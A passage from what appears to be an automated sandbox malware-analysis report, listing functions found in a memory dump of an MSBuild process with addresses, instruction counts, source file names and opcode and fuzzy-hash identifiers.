                                                                          • Opcode ID: e34a641792a2e79be6bf0067dfbea21fe876c0422c27924c31e583a14ba6783b
                                                                          • Instruction ID: 1f1ed010ecdf54fd71037339d800f156c99c1027c0dc681ed3ab15b0ba5d47fa
                                                                          • Opcode Fuzzy Hash: e34a641792a2e79be6bf0067dfbea21fe876c0422c27924c31e583a14ba6783b
                                                                          • Instruction Fuzzy Hash: C8517CB16083469FD310CF69C884B9BBBE5FB98254F04892EF99487395D734E905CB52
                                                                          Function 013551ED Relevance: .1, Instructions: 149COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 8cfa085416c177e5c892ecca2f79a29d1286e00195f38ce77831223c27a8c446
                                                                          • Instruction ID: 62f65ea02d66affd0e609a04f95b1906e3976f372d78e4b3138503d52f44972a
                                                                          • Opcode Fuzzy Hash: 8cfa085416c177e5c892ecca2f79a29d1286e00195f38ce77831223c27a8c446
                                                                          • Instruction Fuzzy Hash: 3C517C71A01219DBEF62DBA8C880FEEB7B4AF14B5CF150019ED49E7252D7B4B9408B50
                                                                          Function 014235D7 Relevance: .1, Instructions: 139COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: b2c300d7f86a03933703e09635872856e70952263eb4647515a482bdea46eec2
                                                                          • Instruction ID: c0425f5cd2f2d95cc316aae51dde4809d677b305ce215987ee593a64324d761f
                                                                          • Opcode Fuzzy Hash: b2c300d7f86a03933703e09635872856e70952263eb4647515a482bdea46eec2
                                                                          • Instruction Fuzzy Hash: 15515E71600606DFDB25CF18C580A56BBB9FF49308F55C0BAE9089F322D375E985CB90
                                                                          Function 0138A430 Relevance: .1, Instructions: 139COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 7781f02b7afa7fc72055603fd5ff23ace810840f491c2ca05cea654ffe3619a9
                                                                          • Instruction ID: c4889f17b61c5ef7ad472798acea0e96ffc1c72def155176cba6874372e84c90
                                                                          • Opcode Fuzzy Hash: 7781f02b7afa7fc72055603fd5ff23ace810840f491c2ca05cea654ffe3619a9
                                                                          • Instruction Fuzzy Hash: 964113756003059BDF25FF6CE882B6B7768BB5971CF01042EEA06AB366DBB19C109760
                                                                          Function 013801F8 Relevance: .1, Instructions: 138COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 071fddaac9d524a00669a3a3625d4c16d5d96bfa829746268db3fe05be238068
                                                                          • Instruction ID: cd9b6ad401a72e10a802b5bad9010908e552bf8e70ab20232467ac8747fd2aab
                                                                          • Opcode Fuzzy Hash: 071fddaac9d524a00669a3a3625d4c16d5d96bfa829746268db3fe05be238068
                                                                          • Instruction Fuzzy Hash: 6741CB36900319DBDF18EF98C440AEEBBB4BF48708F14826AF815E7240D7709D49CBA4
                                                                          Function 0135D534 Relevance: .1, Instructions: 138COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 7029bc22e258cf11ce6e78728c56a354898102b3cec4d69dbb97d128ffa71a1d
                                                                          • Instruction ID: 7895a7b9a10af22167796ca32afa88d38335436b943f58cab468375d5b784916
                                                                          • Opcode Fuzzy Hash: 7029bc22e258cf11ce6e78728c56a354898102b3cec4d69dbb97d128ffa71a1d
                                                                          • Instruction Fuzzy Hash: 2A51DE326046A5CFD722DB5CC480FAA77A9FB40B6CF0904A5FE458BB91E734DD44CA61
                                                                          Function 013CD1C0 Relevance: .1, Instructions: 135COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 0eb649ebbf3548d8df43d0789ceff5cfbc550e3c64e1c06ae1f98d8f26ebe946
                                                                          • Instruction ID: 56a2a16188fdc7079e1f2988bf2d5c889a8f6bf352d7365097dcf48cb6dc24aa
                                                                          • Opcode Fuzzy Hash: 0eb649ebbf3548d8df43d0789ceff5cfbc550e3c64e1c06ae1f98d8f26ebe946
                                                                          • Instruction Fuzzy Hash: 03512871A00206DFDB18CFA8C4816AABBF1FF48314B14856EE819A7745E734EA80CF90
                                                                          Function 01356154 Relevance: .1, Instructions: 133COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 4f8dcbdd881d46ff9cd00336b3729b84890b451d2cf1f7cde13a443bfc4a65ac
                                                                          • Instruction ID: 4a2457422cdddf0a1f8c862122bd94ea2df432c538c24263629229982b31a59c
                                                                          • Opcode Fuzzy Hash: 4f8dcbdd881d46ff9cd00336b3729b84890b451d2cf1f7cde13a443bfc4a65ac
                                                                          • Instruction Fuzzy Hash: 7C51F7B090020ADBEB65CB2CCC45FE9BBB5EF1131CF1482A5E919A76D1E7349981CF40
                                                                          Function 0134B136 Relevance: .1, Instructions: 131COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: cf840445948ed9c33b69013133ff30969df2ad269965a37f511b57a32f7a0959
                                                                          • Instruction ID: 26c7590806e463935db1e05a5077087ec2694be1c06903711c8bacd829e8a290
                                                                          • Opcode Fuzzy Hash: cf840445948ed9c33b69013133ff30969df2ad269965a37f511b57a32f7a0959
                                                                          • Instruction Fuzzy Hash: 7D41AC71640706EFDB26AF6CC840B6ABBE8FF1479CF008469E615DB6A4D770E800CB90
                                                                          Function 0137A470 Relevance: .1, Instructions: 127COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 00c1aa5975c58664581ee1c60444d8dd3f20a4727707e41dd17633952b8164d5
                                                                          • Instruction ID: 9be4ced01536180fb33a56b18004bb7a7ae826ef19f83a3d24bc67952e762e54
                                                                          • Opcode Fuzzy Hash: 00c1aa5975c58664581ee1c60444d8dd3f20a4727707e41dd17633952b8164d5
                                                                          • Instruction Fuzzy Hash: 2841AE32A41209CFDF25DF6CC495BEE7BB4FB18328F180169D511BB6A5DB399940CBA0
                                                                          Function 0134A020 Relevance: .1, Instructions: 122COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 165ca662f4b1c8196e57a2c4173bd848e06efaa623a98917432a96e6c9651090
                                                                          • Instruction ID: b8fe68816043af6b999202a8a49fd88a58e31a0ef99df15c671a698beb61728e
                                                                          • Opcode Fuzzy Hash: 165ca662f4b1c8196e57a2c4173bd848e06efaa623a98917432a96e6c9651090
                                                                          • Instruction Fuzzy Hash: B5418F31A04215DFDB25DF2D84407BAFBF9EB5075CF99C06AEA468B244D633AD84CB90
                                                                          Function 013D05A7 Relevance: .1, Instructions: 111COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: b4a2ae26ee3abd40048d13be6a01ba0be41e532ffc5b91e1cfa67ccd847f4dfb
                                                                          • Instruction ID: a9d232068bdeef07e28de5e55efa60acd920dc167cd483ca9200deba155ec212
                                                                          • Opcode Fuzzy Hash: b4a2ae26ee3abd40048d13be6a01ba0be41e532ffc5b91e1cfa67ccd847f4dfb
                                                                          • Instruction Fuzzy Hash: D141D6726046419FC324DF6DD880A6AB7E9FFC8B04F14461DF95597680E730D914C7A6
                                                                          Function 013602E1 Relevance: .1, Instructions: 106COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: d45b632d2c88e3b1d2b0a33d4d0818ae25320c4cce4feeb98528bfb7bef810ab
                                                                          • Instruction ID: 1d7dec6748f7ec26cb381b92a1e9d78bb702835d08b04e3d3fa39cf204fa079a
                                                                          • Opcode Fuzzy Hash: d45b632d2c88e3b1d2b0a33d4d0818ae25320c4cce4feeb98528bfb7bef810ab
                                                                          • Instruction Fuzzy Hash: 97311332A00244ABDB228B6CCC84BDBBFECAF14758F1485B5F856D7356D2749984CBA4
                                                                          Function 01379274 Relevance: .1, Instructions: 105COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: 29c7d4e61382bcdf75093e37daad0a25083b71903bcaed40b7214da613faf778
                                                                          • Instruction ID: 6b6c64ecb3971c4438c024fecf879180ad6a83d05e7e17fff540be3188f3a306
                                                                          • Opcode Fuzzy Hash: 29c7d4e61382bcdf75093e37daad0a25083b71903bcaed40b7214da613faf778
                                                                          • Instruction Fuzzy Hash: B6319575A0062DAFEF318B68CC40B9ABBB9EF85728F1102D9A54CA7280DB349D45CF51
                                                                          Function 01354260 Relevance: .1, Instructions: 102COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: f00c5ef7acc159cb19914865980566ca2789a0a505043265e025f3fa7608ea9c
                                                                          • Instruction ID: 820ad59672869d6d37098216d9bb7e06acfcf265e35a93e3da166fe9925d236e
                                                                          • Opcode Fuzzy Hash: f00c5ef7acc159cb19914865980566ca2789a0a505043265e025f3fa7608ea9c
                                                                          • Instruction Fuzzy Hash: E041BF35200B459FD76ACF28C581FD77BF8AF45758F008429EA598B760E774E848CB90
                                                                          Function 013750E4 Relevance: .1, Instructions: 101COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 9736ef1e2d2fe6ed3e8edd6ff05ccc53a0216fb05e956db353e68a80ecb75403
                                                                          • Instruction ID: 580eb02c064fa17bc04cc198bf0033427a5bdbaed97e4ca6dfde1a96a4f73f45
                                                                          • Opcode Fuzzy Hash: 9736ef1e2d2fe6ed3e8edd6ff05ccc53a0216fb05e956db353e68a80ecb75403
                                                                          • Instruction Fuzzy Hash: E43136316083469BEF39DA1CD800767BBD8EB84799F088129F5858B385DB78C841C792
                                                                          Function 014161C3 Relevance: .1, Instructions: 97COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 24a78c4cd9c08ba0f92d3c4eccd02aa04ef913565aab23d237d70da0be62fae7
                                                                          • Instruction ID: 3a02a2c76efc2895da8b2e80815f374d33b0e423eec723e08cd89413cd55e11c
                                                                          • Opcode Fuzzy Hash: 24a78c4cd9c08ba0f92d3c4eccd02aa04ef913565aab23d237d70da0be62fae7
                                                                          • Instruction Fuzzy Hash: A4310475A0011AABDB15DF98CD40BAEB7B9FB44744F014169E900AB258D7B0EC01CB90
                                                                          Function 014160B8 Relevance: .1, Instructions: 95COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 5e5d940069eec44283ee920f3cee844592be53f46c40c25b6b2fa854d1a5da72
                                                                          • Instruction ID: 1fc689da0a7db05fb54829d8ff903c164f7460c5120bd6269725b0f2171cfba2
                                                                          • Opcode Fuzzy Hash: 5e5d940069eec44283ee920f3cee844592be53f46c40c25b6b2fa854d1a5da72
                                                                          • Instruction Fuzzy Hash: 24310575B00602EFDB229FADC850B6BBBB9AF44754F16406FE505DB365DAB0DC018B90
                                                                          Function 01358550 Relevance: .1, Instructions: 94COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: e0bd5a43e1c19ad2b9ff6e386ccabc50d454ecc4dc8bc765e33776cba1b2139c
                                                                          • Instruction ID: 968a89742303e1eb0dcd18adb613f242527837ac6de9f199de6b8c77f29a7763
                                                                          • Opcode Fuzzy Hash: e0bd5a43e1c19ad2b9ff6e386ccabc50d454ecc4dc8bc765e33776cba1b2139c
                                                                          • Instruction Fuzzy Hash: 9D316D71609301CFE760CF19C880B5BBBE5BB98B18F054A6DFE8597651E770E844CB91
                                                                          Function 013A7190 Relevance: .1, Instructions: 89COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 3d9f232daa6456112ef7cca9ac13d1ecc1d2608bc40d33be58fee952b0e99bbe
                                                                          • Instruction ID: 24795e9446715f754286e1b9253187b3f33b643956265a42921b732e2c17c576
                                                                          • Opcode Fuzzy Hash: 3d9f232daa6456112ef7cca9ac13d1ecc1d2608bc40d33be58fee952b0e99bbe
                                                                          • Instruction Fuzzy Hash: 34315576604206CFC710CF1CC480956BBF6FF99318B6986A9EA589B325E731ED06CB91
                                                                          Function 0137438F Relevance: .1, Instructions: 89COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 8e7ccf7564129c60b3c923cd5f27e7cb7b5d52078faf894811451dab32ea7d41
                                                                          • Instruction ID: 154cf2437afdc1db96eb5c80b22336ea17bae5056b0daf395768c0b9fed84972
                                                                          • Opcode Fuzzy Hash: 8e7ccf7564129c60b3c923cd5f27e7cb7b5d52078faf894811451dab32ea7d41
                                                                          • Instruction Fuzzy Hash: D031C271B002059FD730DFA8C981BAEBBF9BB84308F008529D146E7654E734ED41DB91
                                                                          Function 013592C5 Relevance: .1, Instructions: 89COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 2963604b138b45d82781e0a3e479f75d70978de019cd50ff7a7906112cbdd64f
                                                                          • Instruction ID: 801e39ce54e5264bfa531869948865a6cedcee6ba0d092f65991a61e5316da7c
                                                                          • Opcode Fuzzy Hash: 2963604b138b45d82781e0a3e479f75d70978de019cd50ff7a7906112cbdd64f
                                                                          • Instruction Fuzzy Hash: 0F318AB160824ADFCB01DF1CD880A9B7BE9EF99758F000669FD55973A1D630DC04CBA6
                                                                          Function 0134C156 Relevance: .1, Instructions: 88COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: ceaaadbe84def59663580fd2b305b9a77888366143a0bc8908374c43d66073ac
                                                                          • Instruction ID: af275ec48cf8989a28f560990d22f4100cc7ed3cb7fa6654e9c1dff96fc33a43
                                                                          • Opcode Fuzzy Hash: ceaaadbe84def59663580fd2b305b9a77888366143a0bc8908374c43d66073ac
                                                                          • Instruction Fuzzy Hash: E13169B15002018BDB35AF5CC841B697BB8EF5031CFC4C1A9ED499B756DA34A882CB90
                                                                          Function 0140C3CD Relevance: .1, Instructions: 88COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 7f3ac7f511b12b6545c220c591282cbbe50732f4b841637f95eeaa606406b8f4
                                                                          • Instruction ID: c008772f02da0a67bf5ca5a7bd7141db2749bb4419a3d204d920ca17408a1800
                                                                          • Opcode Fuzzy Hash: 7f3ac7f511b12b6545c220c591282cbbe50732f4b841637f95eeaa606406b8f4
                                                                          • Instruction Fuzzy Hash: 54213B36600652E7CB16AB9A8C40ABBBBB4FF50710F00817FFA55866E2E634D940C360
                                                                          Function 0134E420 Relevance: .1, Instructions: 88COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 5604a1662d2d43cdca49afb777cb72c0eb53454a0745f1a504d4ed5f8e38261a
                                                                          • Instruction ID: 2d1c06c9480f49038012f70af2353f7a1d9606b3dfb865fa04de199f4d06d875
                                                                          • Opcode Fuzzy Hash: 5604a1662d2d43cdca49afb777cb72c0eb53454a0745f1a504d4ed5f8e38261a
                                                                          • Instruction Fuzzy Hash: 1831A231A0152C9BDB319B28CC41FEEB7B9BB15758F0101B1E645A7290D6B8AE818F90
                                                                          Function 01384588 Relevance: .1, Instructions: 87COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 889ecffd1a06a090bd79871a4c0fdf01ee42b751b4f666e31dccfc06bb2b9632
                                                                          • Instruction ID: bd5492663c1e2a5ff3907445ae1ceb9454cca7e387ffaea4f68329de5ade6d6f
                                                                          • Opcode Fuzzy Hash: 889ecffd1a06a090bd79871a4c0fdf01ee42b751b4f666e31dccfc06bb2b9632
                                                                          • Instruction Fuzzy Hash: E2217131A0070AEBCB15DF58C980B8EBBB5FF48728F118469EE159F641D675EA05CB90
                                                                          Function 0134E388 Relevance: .1, Instructions: 86COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 0cf2ef89ce765565c41e30a718174bbd4c2b265194fcbe27392bd3351cdfdb09
                                                                          • Instruction ID: 38974a8139c0719b3fe7fca709f9b55fa400d0fafc81da740c910f2a3fb9ddc6
                                                                          • Opcode Fuzzy Hash: 0cf2ef89ce765565c41e30a718174bbd4c2b265194fcbe27392bd3351cdfdb09
                                                                          • Instruction Fuzzy Hash: 62318831600608AFD721CBA9C884F6AB7F9FF45358F1045B9E6529B691E734FE02CB50
                                                                          Function 0138D530 Relevance: .1, Instructions: 85COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 976a7478e0816d99d9a37470e5c8a559fcb0a4ec9efca0dee1484b76e82cb87d
                                                                          • Instruction ID: a7ac0debfaed5ae4ac769ee3655ff0e5a3b97226fa607f91bb6d88f2c4904fb6
                                                                          • Opcode Fuzzy Hash: 976a7478e0816d99d9a37470e5c8a559fcb0a4ec9efca0dee1484b76e82cb87d
                                                                          • Instruction Fuzzy Hash: 2321F7715043059BDB21FFACD944F577BECAB6565CF01082AFA48976A4EB30DD00CBA1
                                                                          Function 0137F32A Relevance: .1, Instructions: 79COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: e1acee25a86a18db778833508db53c8429f7f2c8d9f42c0ea70f9f679245ea3d
                                                                          • Instruction ID: 7d394ab88a686b8b6015f72cf0b8207a12c930555471d86c23b4c27c615585bf
                                                                          • Opcode Fuzzy Hash: e1acee25a86a18db778833508db53c8429f7f2c8d9f42c0ea70f9f679245ea3d
                                                                          • Instruction Fuzzy Hash: 8921C272200205DFD729CF19C440B66BBEDFF85368F15416DE11A8B390EB74E801CB94
                                                                          Function 013D019F Relevance: .1, Instructions: 78COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: fccb888e228a0b0b12a467a9408bb2f672cd451496dacf9b3054240ededbc214
                                                                          • Instruction ID: 14adfb4740a196cd86e8d9ae3a2c95ae44aa172e277d229f3205c1d72468fc38
                                                                          • Opcode Fuzzy Hash: fccb888e228a0b0b12a467a9408bb2f672cd451496dacf9b3054240ededbc214
                                                                          • Instruction Fuzzy Hash: 2221BC72600605AFDB15DB6CD840F6AB7B8FF98748F144069F908DB6A0D634ED00CB68
                                                                          Function 013F71F9 Relevance: .1, Instructions: 74COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: b166bc2977cd095832f81c1617bae7b254efc6f6301d359478f731f5544f6372
                                                                          • Instruction ID: b8801955c4488acf03e4bad4c633ff3a99c98050f2db9ea6044ec12d74e17853
                                                                          • Opcode Fuzzy Hash: b166bc2977cd095832f81c1617bae7b254efc6f6301d359478f731f5544f6372
                                                                          • Instruction Fuzzy Hash: D7213735A04741ABD321DF2D8840B2BB7E9EFE132CF14492DFAAAD3150CB30A9458791
                                                                          Function 013D0283 Relevance: .1, Instructions: 74COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 86bb1999e2c3edb66fb9d5d910bdeaff91f60a3e1e4e0280a62c8efa444f1924
                                                                          • Instruction ID: c3fe8f4a73468a7bd9ea592941db92e6fa6d27363fa78a32ea0738586efdacc1
                                                                          • Opcode Fuzzy Hash: 86bb1999e2c3edb66fb9d5d910bdeaff91f60a3e1e4e0280a62c8efa444f1924
                                                                          • Instruction Fuzzy Hash: 5D2125735043469FD716EF9DE808B5BBBECAF90A48F084856BD84C7251DB34D908C6A2
